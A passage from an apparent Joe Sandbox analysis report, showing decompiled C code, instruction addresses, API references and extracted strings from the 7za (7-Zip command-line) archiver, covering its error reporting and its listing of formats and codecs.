														_t676 = E00404B09(_t1081 - 0x128,  *((intOrPtr*)( *((intOrPtr*)(_t1081 - 0x30c)) + _t1068 * 4)));
														_push(_t1079);
														 *(_t1081 - 4) = 0x1a;
														E00407CC0(E00407CEC(_t829),  *_t676);
														 *(_t1081 - 4) = 0x16;
														E00407A18( *((intOrPtr*)(_t1081 - 0x128)));
														_t1068 = _t1068 + 1;
														__eflags = _t1068 -  *(_t1081 - 0x1c);
													} while (__eflags < 0);
												}
												E00407CC0(E00407CD5(_t829, "----------------"), _t1079);
												E00407CD5(E00407DC6(E00407CD5(_t829, "WARNING: Cannot open "), _t1057, __eflags,  *(_t1081 - 0x1c)), " file");
												_t1069 = 1;
												__eflags =  *(_t1081 - 0x1c) - _t1069;
												if( *(_t1081 - 0x1c) > _t1069) {
													E00407CD5(_t829, "s");
												}
												E00407CC0(_t829, _t1079);
												 *(_t1081 - 0x18) = _t1069;
												_t1065 =  *(_t1081 - 0x20);
											} else {
												__eflags =  *(_t1081 - 0x2fc) - _t648;
												if( *(_t1081 - 0x2fc) == _t648) {
													E00407CC0(E00407CD5(_t829,  *0x48aacc), _t1079);
												}
											}
											 *(_t1081 - 4) = 0x15;
											E004054DE(_t1081 - 0x11c);
											 *(_t1081 - 4) = 0x14;
											E004050D8(_t1081 - 0x378);
											E00407A18( *((intOrPtr*)(_t1081 - 0x13c)));
											 *(_t1081 - 4) = 7;
											E00408604(_t1081 - 0x60);
											__eflags = _t1065;
											 *(_t1081 - 4) = 4;
											if(_t1065 != 0) {
												 *((intOrPtr*)( *_t1065 + 8))(_t1065);
											}
											 *(_t1081 - 4) = 3;
											E00406E46(_t1081 - 0x7c);
											 *(_t1081 - 4) =  *(_t1081 - 4) & 0x00000000;
											E00405233(_t1081 - 0x2d8, __eflags);
											 *((intOrPtr*)(_t1081 - 0x4c)) = 0x47a420;
											 *(_t1081 - 4) = 0x1b;
											E0040862D();
											 *(_t1081 - 4) =  *(_t1081 - 4) | 0xffffffff;
											E00408604(_t1081 - 0x4c);
											_t554 =  *(_t1081 - 0x18);
										}
										goto L110;
									}
								}
							} else {
								_t729 = E0040807A(L"CRC");
								_t133 = _t829 + 4; // 0x48de00
								_t996 =  *_t133;
								_t1049 =  *((intOrPtr*)(_t1081 - 0x160));
								_push( *((intOrPtr*)(_t1081 - 0x158)));
								__eflags = _t729 - _t1075;
								_push( *((intOrPtr*)(_t1081 - 0x15c)));
								if(__eflags != 0) {
									L55:
									_t730 = E004012BB(_t996, _t1049, __eflags);
									__eflags = _t730 - _t1075;
									if(_t730 == _t1075) {
										goto L107;
									} else {
										__eflags = _t730 - 1;
										if(_t730 != 1) {
											 *(_t1081 - 0x14) = _t730;
											E0046B8F4(_t1081 - 0x14, 0x47d368);
											goto L61;
										} else {
											E00407CD5(_t829, "\nDecoding Error\n");
											 *(_t1081 - 4) = 7;
											E00408604(_t1081 - 0x60);
											__eflags = _t1065 - _t1075;
											 *(_t1081 - 4) = 4;
											if(_t1065 != _t1075) {
												 *((intOrPtr*)( *_t1065 + 8))(_t1065);
											}
											 *(_t1081 - 4) = 3;
											E00406E46(_t1081 - 0x7c);
											 *(_t1081 - 4) =  *(_t1081 - 4) & 0x00000000;
											E00405233(_t1081 - 0x2d8, __eflags);
											 *((intOrPtr*)(_t1081 - 0x4c)) = 0x47a420;
											 *(_t1081 - 4) = 0xc;
											L154:
											E0040862D();
											 *(_t1081 - 4) =  *(_t1081 - 4) | 0xffffffff;
											E00408604(_t1081 - 0x4c);
											_t554 = 2;
											goto L110;
										}
									}
								} else {
									_t739 = E00401679(_t996, _t1049, __eflags);
									__eflags = _t739 - _t1075;
									if(_t739 == _t1075) {
										L107:
										 *(_t1081 - 4) = 7;
										E00408604(_t1081 - 0x60);
										_t583 =  *(_t1081 - 0x20);
										 *(_t1081 - 4) = 4;
										__eflags = _t583;
										if(_t583 != 0) {
											 *((intOrPtr*)( *_t583 + 8))(_t583);
										}
										 *(_t1081 - 4) = 3;
										E00406E46(_t1081 - 0x7c);
										 *(_t1081 - 4) =  *(_t1081 - 4) & 0x00000000;
										E00405233(_t1081 - 0x2d8, __eflags);
										 *((intOrPtr*)(_t1081 - 0x4c)) = 0x47a420;
										 *(_t1081 - 4) = 0x1c;
										E0040862D();
										 *(_t1081 - 4) =  *(_t1081 - 4) | 0xffffffff;
										E00408604(_t1081 - 0x4c);
										_t554 = 0;
										__eflags = 0;
										goto L110;
									} else {
										__eflags = _t739 - 1;
										if(__eflags != 0) {
											 *(_t1081 - 0x14) = _t739;
											E0046B8F4(_t1081 - 0x14, 0x47d368);
											goto L55;
										} else {
											E00407CD5(_t829, "\nCRC Error\n");
											 *(_t1081 - 4) = 7;
											E00408604(_t1081 - 0x60);
											__eflags = _t1065 - _t1075;
											 *(_t1081 - 4) = 4;
											if(_t1065 != _t1075) {
												 *((intOrPtr*)( *_t1065 + 8))(_t1065);
											}
											 *(_t1081 - 4) = 3;
											E00406E46(_t1081 - 0x7c);
											_t143 = _t1081 - 4;
											 *_t143 =  *(_t1081 - 4) & 0x00000000;
											__eflags =  *_t143;
											E00405233(_t1081 - 0x2d8,  *_t143);
											 *((intOrPtr*)(_t1081 - 0x4c)) = 0x47a420;
											 *(_t1081 - 4) = 0xb;
											_t1075 = 2;
											goto L53;
										}
									}
								}
							}
						} else {
							_t1080 = E00407CCD;
							E00407CC0(E00407CD5(E00407CC0(_t829, E00407CCD), "Formats:"), E00407CCD);
							 *(_t1081 - 0x1c) =  *(_t1081 - 0x1c) & 0x00000000;
							__eflags =  *(_t1065 + 0x10);
							if( *(_t1065 + 0x10) > 0) {
								do {
									_t1073 =  *((intOrPtr*)( *((intOrPtr*)( *(_t1081 - 0x20) + 0x14)) +  *(_t1081 - 0x1c) * 4));
									E00407CD5(_t829, "  ");
									_t764 = E00407DAD(_t829, 0x20);
									__eflags =  *_t1073;
									_t769 = E00407DAD(_t829, ((_t764 & 0xffffff00 |  *_t1073 == 0x00000000) - 0x00000001 & 0x00000023) + 0x20);
									__eflags =  *((char*)(_t1073 + 0x38));
									E00407DAD(_t829, ((_t769 & 0xffffff00 |  *((char*)(_t1073 + 0x38)) == 0x00000000) - 0x00000001 & 0x0000002b) + 0x20);
									E00407CD5(_t829, "  ");
									_t1059 = _t1073 + 0xc;
									E00405208(_t829, _t1073 + 0xc, 6);
									E00407CD5(_t829, "  ");
									 *((intOrPtr*)(_t1081 - 0x2c)) = 0;
									 *(_t1081 - 0x28) = 0;
									 *((intOrPtr*)(_t1081 - 0x24)) = 0;
									E00401E9A(_t1081 - 0x2c, 3);
									 *(_t1081 - 0x18) =  *(_t1081 - 0x18) & 0x00000000;
									__eflags =  *(_t1073 + 0x20);
									 *(_t1081 - 4) = 9;
									if(__eflags > 0) {
										do {
											 *(_t1081 - 0x30) =  *( *((intOrPtr*)(_t1073 + 0x24)) +  *(_t1081 - 0x18) * 4);
											E00405529(_t1081 - 0x2c, _t1059, __eflags,  *( *((intOrPtr*)(_t1073 + 0x24)) +  *(_t1081 - 0x18) * 4));
											__eflags =  *( *(_t1081 - 0x30) + 0x10);
											if(__eflags != 0) {
												E004035F2(_t1081 - 0x2c, _t1059, L" (");
												__eflags =  *(_t1081 - 0x30) + 0xc;
												E00405529(_t1081 - 0x2c, _t1059, __eflags,  *(_t1081 - 0x30) + 0xc);
												E004054FE(_t1081 - 0x2c, _t1059, __eflags, 0x29);
											}
											E004054FE(_t1081 - 0x2c, _t1059, __eflags, 0x20);
											 *(_t1081 - 0x18) =  *(_t1081 - 0x18) + 1;
											__eflags =  *(_t1081 - 0x18) -  *(_t1073 + 0x20);
										} while (__eflags < 0);
									}
									E00405208(_t829, _t1081 - 0x2c, 0xe);
									E00407CD5(_t829, "  ");
									 *(_t1081 - 0x18) =  *(_t1081 - 0x18) & 0x00000000;
									__eflags =  *(_t1073 + 0x30);
									if( *(_t1073 + 0x30) > 0) {
										do {
											_t786 =  *((intOrPtr*)( *((intOrPtr*)(_t1073 + 0x34)) +  *(_t1081 - 0x18)));
											__eflags = _t786 - 0x20;
											 *(_t1081 - 0x14) = _t786;
											if(_t786 <= 0x20) {
												L34:
												_t787 = _t786 >> 4;
												__eflags = _t787 - 0xa;
												_t788 = _t787 & 0x000000ff;
												if(_t787 >= 0xa) {
													_t789 = _t788 + 0x37;
													__eflags = _t788 + 0x37;
												} else {
													_t789 = _t788 + 0x30;
												}
												E00407DAD(_t829, _t789);
												_t792 =  *(_t1081 - 0x14) & 0x0000000f;
												__eflags = _t792 - 0xa;
												_t793 = _t792 & 0x000000ff;
												if(_t792 >= 0xa) {
													_t794 = _t793 + 0x37;
													__eflags = _t794;
												} else {
													_t794 = _t793 + 0x30;
												}
												_push(_t794);
											} else {
												__eflags = _t786 - 0x80;
												if(_t786 >= 0x80) {
													goto L34;
												} else {
													_push( *(_t1081 - 0x14));
												}
											}
											E00407DAD(_t829);
											E00407DAD(_t829, 0x20);
											 *(_t1081 - 0x18) =  *(_t1081 - 0x18) + 1;
											__eflags =  *(_t1081 - 0x18) -  *(_t1073 + 0x30);
										} while ( *(_t1081 - 0x18) <  *(_t1073 + 0x30));
									}
									E00407CC0(_t829, _t1080);
									 *(_t1081 - 4) = 8;
									E00407A18( *((intOrPtr*)(_t1081 - 0x2c)));
									 *(_t1081 - 0x1c) =  *(_t1081 - 0x1c) + 1;
									_t784 =  *(_t1081 - 0x20);
									__eflags =  *(_t1081 - 0x1c) -  *((intOrPtr*)(_t784 + 0x10));
								} while ( *(_t1081 - 0x1c) <  *((intOrPtr*)(_t784 + 0x10)));
							}
							E00407CC0(E00407CD5(E00407CC0(_t829, _t1080), "Codecs:"), _t1080);
							 *(_t1081 - 4) = 7;
							E00408604(_t1081 - 0x60);
							_t757 =  *(_t1081 - 0x20);
							 *(_t1081 - 4) = 4;
							__eflags = _t757;
							if(_t757 != 0) {
								 *((intOrPtr*)( *_t757 + 8))(_t757);
							}
							 *(_t1081 - 4) = 3;
							E00406E46(_t1081 - 0x7c);
							 *(_t1081 - 4) =  *(_t1081 - 4) & 0x00000000;
							E00405233(_t1081 - 0x2d8, __eflags);
							 *((intOrPtr*)(_t1081 - 0x4c)) = 0x47a420;
							 *(_t1081 - 4) = 0xa;
							_t1075 = 0;
							goto L53;
						}
					} else {
						E004051E3(0x490ab8, 1);
						 *(_t1081 - 4) = 3;
						E00406E46(_t1081 - 0x7c);
						 *(_t1081 - 4) =  *(_t1081 - 4) & 0x00000000;
						E00405233(_t1081 - 0x2d8, __eflags);
						 *((intOrPtr*)(_t1081 - 0x4c)) = 0x47a420;
						 *(_t1081 - 4) = 5;
						goto L53;
					}
				} else {
					E004051E3(0x490ab8, 1);
					 *((intOrPtr*)(_t1081 - 0x4c)) = 0x47a420;
					 *(_t1081 - 4) = 2;
					L53:
					E0040862D();
					 *(_t1081 - 4) =  *(_t1081 - 4) | 0xffffffff;
					E00408604(_t1081 - 0x4c);
					_t554 = _t1075;
					L110:
					 *[fs:0x0] =  *((intOrPtr*)(_t1081 - 0xc));
					return _t554;
				}
			}

0x00403a75
0x00403a7a
0x00403a80
0x00403a83
0x00403a8c
0x00403a96
0x00403a99
0x00403a9b
0x00403aa8
0x00403aad
0x00403ab3
0x00403ab7
0x00403abc
0x00403ac3
0x00403acd
0x00403af0
0x00403afb
0x00403b03
0x00403b07
0x00403b15
0x00403b19
0x00403b1a
0x00403b1e
0x00403b23
0x00403b2a
0x00403b62
0x00403b69
0x00403b6b
0x00403b72
0x00403b72
0x00403b77
0x00403b7e
0x00403b83
0x00403b85
0x00403b85
0x00403b8a
0x00403b91
0x00403b97
0x00403b99
0x00403b99
0x00403b9d
0x00403b9d
0x00403bab
0x00403bac
0x00403bb1
0x00403bb3
0x00403bb9
0x00403bbc
0x00403bbe
0x00403bc2
0x00403bcf
0x00403bcf
0x00403bc4
0x00403bcb
0x00403bcb
0x00403bd1
0x00403bd3
0x00403bd6
0x00403bda
0x00403be0
0x00403be5
0x00403be5
0x00403bea
0x00403bee
0x00403bf3
0x00403bf5
0x00403bf7
0x00403c03
0x00403c03
0x00403c0e
0x00403c13
0x00403c16
0x00403c19
0x00403c1b
0x00403c1d
0x00403c37
0x00403c37
0x00403c41
0x00403c48
0x00403c1f
0x00403c1f
0x00403c26
0x00000000
0x00403c28
0x00403c2e
0x00403c33
0x00403c35
0x00000000
0x00000000
0x00403c35
0x00403c26
0x00403c1d
0x00403c4d
0x00403c52
0x00403c57
0x00403c63
0x00403c6a
0x00403c6b
0x00403c6f
0x00403c74
0x00403c76
0x00403c78
0x00403c82
0x00403c89
0x00403c89
0x00403c8e
0x00403c95
0x00403ecc
0x00403ed3
0x0040400d
0x0040400d
0x00404011
0x00404572
0x00404574
0x0040457a
0x0040457d
0x0040457f
0x00404583
0x00404590
0x00404590
0x00404585
0x0040458c
0x0040458c
0x00404592
0x00404594
0x00404598
0x0040459b
0x004045a0
0x004045a0
0x004045a3
0x004045ac
0x004045b6
0x004045b9
0x004045bd
0x004045ca
0x004045cd
0x004045d0
0x004045d3
0x004045d6
0x004045d9
0x004045dc
0x004045df
0x004045e2
0x004045f3
0x00404600
0x00404604
0x0040460a
0x00404615
0x0040461a
0x00404626
0x0040462a
0x00404630
0x00404636
0x0040463b
0x00404642
0x00404651
0x0040465d
0x0040466a
0x0040467b
0x00404687
0x0040468d
0x0040469e
0x0040469f
0x004046a7
0x004046ac
0x004046af
0x004046b2
0x004046c3
0x004046c9
0x004046d0
0x004046d1
0x004046db
0x004046dc
0x004046e3
0x004046e7
0x004046f1
0x004046f5
0x004046fa
0x004046fe
0x00404701
0x00404706
0x00404708
0x00404721
0x00404726
0x0040472a
0x0040472c
0x0040472c
0x0040472a
0x00404736
0x0040473b
0x0040473e
0x00404741
0x00404743
0x0040474a
0x00404762
0x00404745
0x00404745
0x00404748
0x00000000
0x00000000
0x00404748
0x0040476a
0x0040476d
0x004048d7
0x004048d7
0x004048db
0x004048e3
0x004048e6
0x004048eb
0x004048ee
0x004048f3
0x004048f5
0x0040490f
0x0040490f
0x00404914
0x00404917
0x0040491c
0x0040491e
0x00404938
0x00404938
0x004048dd
0x004048dd
0x004048e1
0x00000000
0x00000000
0x004048e1
0x0040493d
0x00404941
0x0040494b
0x00404952
0x00404952
0x0040495a
0x00404960
0x0040496a
0x00404975
0x0040497a
0x0040497d
0x00404981
0x00404986
0x00404986
0x0040498c
0x00404990
0x00404995
0x00404998
0x0040499c
0x0040499e
0x004049a3
0x004049a3
0x004049a9
0x004049ad
0x004049b2
0x004049bc
0x004049c1
0x004049c8
0x00000000
0x00404773
0x00404776
0x00404779
0x00000000
0x0040477f
0x0040477f
0x00404783
0x0040478d
0x00404794
0x00404794
0x00404799
0x004047a1
0x004047a7
0x004047c6
0x004047cb
0x004047cb
0x004047d1
0x004047d8
0x004047eb
0x0040480d
0x004047da
0x004047da
0x004047e1
0x00000000
0x004047e3
0x004047e3
0x004047e9
0x00000000
0x00000000
0x004047e9
0x004047e1
0x0040485b
0x00404860
0x00404867
0x00404875
0x00404897
0x00404897
0x0040489f
0x004048a5
0x004048af
0x004048ba
0x004048bf
0x004048c2
0x004048c6
0x004048cf
0x004048cf
0x00000000
0x004048c6
0x00404779
0x00000000
0x00404017
0x00404017
0x0040401e
0x004049dd
0x004049e4
0x004049eb
0x004049ec
0x004049ef
0x004049f5
0x004049fd
0x00404a06
0x00404a08
0x00404a0f
0x00404a16
0x00404a17
0x00404a1d
0x00404a22
0x00404a25
0x00404a30
0x00404a53
0x00404a5b
0x00404a5f
0x00404a64
0x00404a66
0x00404a6a
0x00404a6f
0x00404a6f
0x00404a75
0x00404a79
0x00404a7e
0x00404a7e
0x00404a7e
0x00404a88
0x00404a8d
0x00404a94
0x00000000
0x00404a27
0x00404a27
0x00404a2a
0x00404ab7
0x00404ab9
0x00000000
0x00404abf
0x00404abf
0x00404acb
0x00404ad0
0x00404ad2
0x00404ad4
0x00404ad7
0x00404ada
0x00404ae1
0x00404ae4
0x00404aea
0x00404aea
0x00000000
0x00000000
0x00000000
0x00404a2a
0x00404024
0x0040402a
0x0040402f
0x00404031
0x00404502
0x00000000
0x00404037
0x00404037
0x0040403e
0x00404040
0x00404046
0x00404054
0x00404054
0x00404046
0x0040405f
0x00404064
0x0040406b
0x0040406f
0x00404075
0x00404085
0x00404085
0x00404085
0x00404085
0x00404077
0x00404077
0x0040407d
0x00000000
0x0040407f
0x0040407f
0x0040407f
0x0040407d
0x00404092
0x0040409f
0x004040aa
0x004040b5
0x004040bc
0x004040c5
0x004040c9
0x004040cf
0x004040e2
0x004040e2
0x004040e2
0x004040e2
0x004040d1
0x004040d1
0x004040d7
0x00000000
0x004040d9
0x004040d9
0x004040d9
0x004040d7
0x004040f6
0x00404108
0x0040410e
0x00404119
0x0040412a
0x0040412e
0x0040412f
0x00404130
0x00404134
0x00404139
0x0040413b
0x0040413d
0x00404147
0x0040414e
0x0040414e
0x00404159
0x0040415f
0x00404166
0x0040416d
0x00404174
0x00404177
0x0040417c
0x00404180
0x00404187
0x0040418a
0x0040418f
0x00404198
0x004041b4
0x004041b9
0x004041bf
0x004041c1
0x004041c3
0x004041c6
0x004041c8
0x004041ce
0x004041e2
0x004041f0
0x004041f3
0x004041fa
0x004041fe
0x00404209
0x0040420e
0x00404215
0x0040421a
0x0040421c
0x0040421c
0x004041c8
0x00404230
0x00404252
0x00404259
0x0040425a
0x0040425d
0x00404266
0x00404266
0x0040426e
0x00404273
0x00404276
0x00404276
0x00404279
0x0040427d
0x00404283
0x0040428a
0x0040428d
0x00404290
0x00404293
0x00404298
0x0040429e
0x004042a2
0x004042a7
0x004042b3
0x004042bc
0x004042bc
0x004042c1
0x004042c7
0x004042d3
0x004042dc
0x004042dc
0x004042e1
0x004042e7
0x004042f3
0x004042fc
0x004042fc
0x00404301
0x00404307
0x00404309
0x0040430e
0x00404317
0x0040431b
0x00404320
0x00404327
0x00404331
0x00404331
0x00404336
0x00404339
0x0040433b
0x00404340
0x0040434c
0x0040434c
0x00404360
0x00404360
0x00404365
0x0040436b
0x0040436d
0x00404370
0x0040439b
0x004043b7
0x004043bc
0x004043be
0x004043c1
0x004043c3
0x004043c9
0x004043dd
0x004043ee
0x004043f1
0x004043f8
0x004043fc
0x00404407
0x0040440c
0x00404416
0x0040441b
0x0040441d
0x0040441d
0x004043c3
0x00404431
0x00404453
0x0040445a
0x0040445b
0x0040445e
0x00404467
0x00404467
0x0040446f
0x00404474
0x00404477
0x00404372
0x00404372
0x00404378
0x0040438e
0x0040438e
0x00404378
0x00404480
0x00404484
0x0040448f
0x00404493
0x0040449e
0x004044a4
0x004044ab
0x004044b0
0x004044b2
0x004044b6
0x004044bb
0x004044bb
0x004044c1
0x004044c5
0x004044ca
0x004044d4
0x004044d9
0x004044e3
0x004044ea
0x004044ef
0x004044f6
0x004044fb
0x004044fb
0x00000000
0x00404031
0x0040401e
0x00403ed9
0x00403ee4
0x00403ee9
0x00403ee9
0x00403eec
0x00403ef2
0x00403ef8
0x00403efa
0x00403f00
0x00403f96
0x00403f96
0x00403f9b
0x00403f9d
0x00000000
0x00403fa3
0x00403fa3
0x00403fa6
0x00403ffc
0x00404008
0x00000000
0x00403fa8
0x00403faf
0x00403fb7
0x00403fbb
0x00403fc0
0x00403fc2
0x00403fc6
0x00403fcb
0x00403fcb
0x00403fd1
0x00403fd5
0x00403fda
0x00403fe4
0x00403fe9
0x00403ff0
0x00404a9b
0x00404a9e
0x00404aa3
0x00404aaa
0x00404ab1
0x00000000
0x00404ab1
0x00403fa6
0x00403f06
0x00403f06
0x00403f0b
0x00403f0d
0x00404507
0x0040450a
0x0040450e
0x00404513
0x00404516
0x0040451a
0x0040451c
0x00404521
0x00404521
0x00404527
0x0040452b
0x00404530
0x0040453a
0x0040453f
0x00404549
0x00404550
0x00404555
0x0040455c
0x00404561
0x00404561
0x00000000
0x00403f13
0x00403f13
0x00403f16
0x00403f85
0x00403f91
0x00000000
0x00403f18
0x00403f1f
0x00403f27
0x00403f2b
0x00403f30
0x00403f32
0x00403f36
0x00403f3b
0x00403f3b
0x00403f41
0x00403f45
0x00403f4a
0x00403f4a
0x00403f4a
0x00403f54
0x00403f59
0x00403f62
0x00403f69
0x00000000
0x00403f69
0x00403f16
0x00403f0d
0x00403f00
0x00403c9b
0x00403c9b
0x00403cb7
0x00403cbf
0x00403cc3
0x00403cc5
0x00403ccb
0x00403cd9
0x00403cde
0x00403ce7
0x00403cec
0x00403cfc
0x00403d01
0x00403d12
0x00403d1e
0x00403d23
0x00403d2a
0x00403d36
0x00403d42
0x00403d45
0x00403d48
0x00403d4b
0x00403d50
0x00403d54
0x00403d58
0x00403d5c
0x00403d5e
0x00403d6b
0x00403d6e
0x00403d76
0x00403d7a
0x00403d84
0x00403d8f
0x00403d93
0x00403d9d
0x00403d9d
0x00403da7
0x00403dac
0x00403db2
0x00403db2
0x00403d5e
0x00403dbe
0x00403dca
0x00403dcf
0x00403dd3
0x00403dd7
0x00403dd9
0x00403ddf
0x00403de2
0x00403de4
0x00403de7
0x00403df2
0x00403df2
0x00403df5
0x00403df7
0x00403dfa
0x00403e01
0x00403e01
0x00403dfc
0x00403dfc
0x00403dfc
0x00403e07
0x00403e0f
0x00403e11
0x00403e13
0x00403e16
0x00403e1d
0x00403e1d
0x00403e18
0x00403e18
0x00403e18
0x00403e20
0x00403de9
0x00403de9
0x00403deb
0x00000000
0x00403ded
0x00403ded
0x00403ded
0x00403deb
0x00403e23
0x00403e2c
0x00403e31
0x00403e37
0x00403e37
0x00403dd9
0x00403e3f
0x00403e44
0x00403e4b
0x00403e50
0x00403e53
0x00403e5a
0x00403e5a
0x00403ccb
0x00403e7a
0x00403e82
0x00403e86
0x00403e8b
0x00403e8e
0x00403e92
0x00403e94
0x00403e99
0x00403e99
0x00403e9f
0x00403ea3
0x00403ea8
0x00403eb2
0x00403eb7
0x00403ebe
0x00403ec5
0x00000000
0x00403ec5
0x00403b2c
0x00403b33
0x00403b3b
0x00403b3f
0x00403b44
0x00403b4e
0x00403b53
0x00403b56
0x00000000
0x00403b56
0x00403acf
0x00403ad6
0x00403adb
0x00403ade
0x00403f6a
0x00403f6d
0x00403f72
0x00403f79
0x00403f7e
0x00404563
0x00404569
0x00404571
0x00404571

APIs

__EH_prolog.LIBCMT ref: 00403A75
SetFileApisToOEM.KERNEL32 ref: 00403A83
GetCommandLineW.KERNEL32 ref: 00403A9E

Part of subcall function 00406C53: __EH_prolog.LIBCMT ref: 00406C58

Part of subcall function 00404C12: __EH_prolog.LIBCMT ref: 00404C17

Part of subcall function 0040FED1: __EH_prolog.LIBCMT ref: 0040FED6

__CxxThrowException@8.LIBC ref: 00404ACB

Part of subcall function 00458600: GetModuleHandleA.KERNEL32(kernel32.dll,GetLargePageMinimum,00403B70,?,?,00000000,00000001,00000000), ref: 0045860A
Part of subcall function 00458600: GetProcAddress.KERNEL32(00000000), ref: 00458611

Part of subcall function 0040BF39: LoadLibraryA.KERNEL32(Advapi32.dll), ref: 0040BF42
Part of subcall function 0040BF39: FreeLibrary.KERNEL32(00000000,?,00403B77,?,?,00000000,00000001,00000000), ref: 0040BF5E

Part of subcall function 0041035D: __EH_prolog.LIBCMT ref: 00410362
Part of subcall function 0041035D: __CxxThrowException@8.LIBC ref: 004106CA
Part of subcall function 0041035D: __CxxThrowException@8.LIBC ref: 0041085F
Part of subcall function 0041035D: __CxxThrowException@8.LIBC ref: 0041087F

Part of subcall function 004079F2: __CxxThrowException@8.LIBC ref: 00407A11

Part of subcall function 0041741C: __EH_prolog.LIBCMT ref: 00417421

__CxxThrowException@8.LIBC ref: 00403C03
__CxxThrowException@8.LIBC ref: 00403C48

Part of subcall function 004176BE: __EH_prolog.LIBCMT ref: 004176C3

__CxxThrowException@8.LIBC ref: 00403C89
__CxxThrowException@8.LIBC ref: 00404008

Part of subcall function 00401679: __EH_prolog.LIBCMT ref: 0040167E
Part of subcall function 00401679: __aulldiv.INT64 ref: 0040182F

__CxxThrowException@8.LIBC ref: 00403F91

Part of subcall function 00404BAF: __EH_prolog.LIBCMT ref: 00404BB4

Part of subcall function 00419B56: __EH_prolog.LIBCMT ref: 00419B5B

__CxxThrowException@8.LIBC ref: 0040414E

Part of subcall function 00419FDE: __EH_prolog.LIBCMT ref: 00419FE3
Part of subcall function 00419FDE: GetLastError.KERNEL32(00000000,?,?,?,?,0048C2A0,rsfx,00000000,00000000,00490AB0), ref: 0041A0E4
Part of subcall function 00419FDE: __CxxThrowException@8.LIBC ref: 0041A1BA
Part of subcall function 00419FDE: GetLastError.KERNEL32(?,00000000,?,?,?,?,?,00000003,?,00000000,00000000,00490AB0), ref: 0041A8F9
Part of subcall function 00419FDE: GetLastError.KERNEL32(?,00000000,?,?,?,?,?,00000003,?,00000000,00000000,00490AB0), ref: 0041A96E
Part of subcall function 00419FDE: GetLastError.KERNEL32(Mapi32.dll,00000000,?,?,?,?,?,00000003,?,00000000,00000000,00490AB0), ref: 0041AA13
Part of subcall function 00419FDE: GetProcAddress.KERNEL32(?,MAPISendDocuments,Mapi32.dll,00000000,?,?,?,?,?,00000003,?,00000000,00000000,00490AB0), ref: 0041AA3E
Part of subcall function 00419FDE: GetLastError.KERNEL32 ref: 0041AA4B
Part of subcall function 00419FDE: GetLastError.KERNEL32(?), ref: 0041AC4E

__CxxThrowException@8.LIBC ref: 00404360

Part of subcall function 004050D8: __EH_prolog.LIBCMT ref: 004050DD

Part of subcall function 00404B09: __EH_prolog.LIBCMT ref: 00404B0E

Part of subcall function 00415D31: __EH_prolog.LIBCMT ref: 00415D36
Part of subcall function 00415D31: __CxxThrowException@8.LIBC ref: 00415E59
Part of subcall function 00415D31: __CxxThrowException@8.LIBC ref: 00415E6E
Part of subcall function 00415D31: __CxxThrowException@8.LIBC ref: 0041669A

Part of subcall function 00407CEC: __EH_prolog.LIBCMT ref: 00407CF1

__CxxThrowException@8.LIBC ref: 00404794
__CxxThrowException@8.LIBC ref: 00404952

Part of subcall function 0046B8F4: RaiseException.KERNEL32(0047CF70,?,00405CA1,?,?,?,0047CF70,?,?,?,00405CA1), ref: 0046B922

Part of subcall function 00405489: __EH_prolog.LIBCMT ref: 0040548E

Part of subcall function 00406E46: __EH_prolog.LIBCMT ref: 00406E4B

Part of subcall function 00405233: __EH_prolog.LIBCMT ref: 00405238

Part of subcall function 0040279E: __EH_prolog.LIBCMT ref: 004027A3
Part of subcall function 0040279E: SysFreeString.OLEAUT32(?), ref: 00402C36
Part of subcall function 0040279E: SysFreeString.OLEAUT32(?), ref: 00402D78
Part of subcall function 0040279E: SysFreeString.OLEAUT32(?), ref: 004031C2
Part of subcall function 0040279E: SysFreeString.OLEAUT32(?), ref: 0040320A
Part of subcall function 0040279E: SysFreeString.OLEAUT32(?), ref: 00403243
Part of subcall function 0040279E: SysFreeString.OLEAUT32(?), ref: 0040328B

Strings

Error: , xrefs: 0040470D
WARNING: Cannot open , xrefs: 00404440
Archive Errors: , xrefs: 004048FA
Codecs:, xrefs: 00403E64
Formats:, xrefs: 00403CA3
WARNING: Cannot find , xrefs: 0040423F
CRC Error, xrefs: 00403F18
Error:, xrefs: 00404340
Size: , xrefs: 00404833
Errors: , xrefs: 00404A3B
WARNINGS for files:, xrefs: 004041A1, 004043A4
Archives: , xrefs: 0040474D
Files: , xrefs: 004047FA
Sub items Errors: , xrefs: 00404923
Compressed: , xrefs: 00404821
----------------, xrefs: 00404222, 00404423
59@, xrefs: 00403A91, 00403EB7, 00403F59, 00403FE9, 004044D9, 0040453F, 004049C1, 00404A8D
Decoding Error, xrefs: 00403FA8
CRC, xrefs: 00403EDF
file, xrefs: 00404237, 00404438
CRC: , xrefs: 00404884
Folders: , xrefs: 004047B3
: , xrefs: 004041CE, 004043C9

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00417BAE, Relevance: 23.5, APIs: 1, Strings: 12, Instructions: 710

C-Code - Quality: 96%

			E00417BAE(intOrPtr __ecx) {
				intOrPtr* _t349;
				signed int _t353;
				intOrPtr _t355;
				void* _t356;
				signed int _t358;
				signed int _t359;
				signed int _t364;
				signed int _t371;
				signed int _t375;
				signed int _t377;
				signed int _t378;
				signed int _t384;
				signed int _t385;
				signed int _t391;
				void* _t393;
				signed int _t396;
				void* _t402;
				char* _t407;
				signed int _t409;
				signed int _t411;
				signed int _t414;
				signed int _t426;
				intOrPtr* _t428;
				void* _t433;
				void* _t437;
				signed int _t440;
				signed int _t441;
				signed int _t449;
				intOrPtr _t457;
				signed int _t462;
				intOrPtr _t463;
				intOrPtr _t465;
				void* _t472;
				intOrPtr _t479;
				signed int _t484;
				signed int _t486;
				void* _t489;
				signed int _t495;
				signed int _t496;
				intOrPtr _t498;
				signed int _t499;
				signed int _t500;
				char* _t502;
				intOrPtr _t536;
				signed int _t555;
				signed int _t556;
				signed int _t559;
				signed int _t582;
				void* _t587;
				intOrPtr _t591;
				signed int _t594;
				intOrPtr _t607;
				signed int _t619;
				signed int _t627;
				signed int _t629;
				char* _t641;
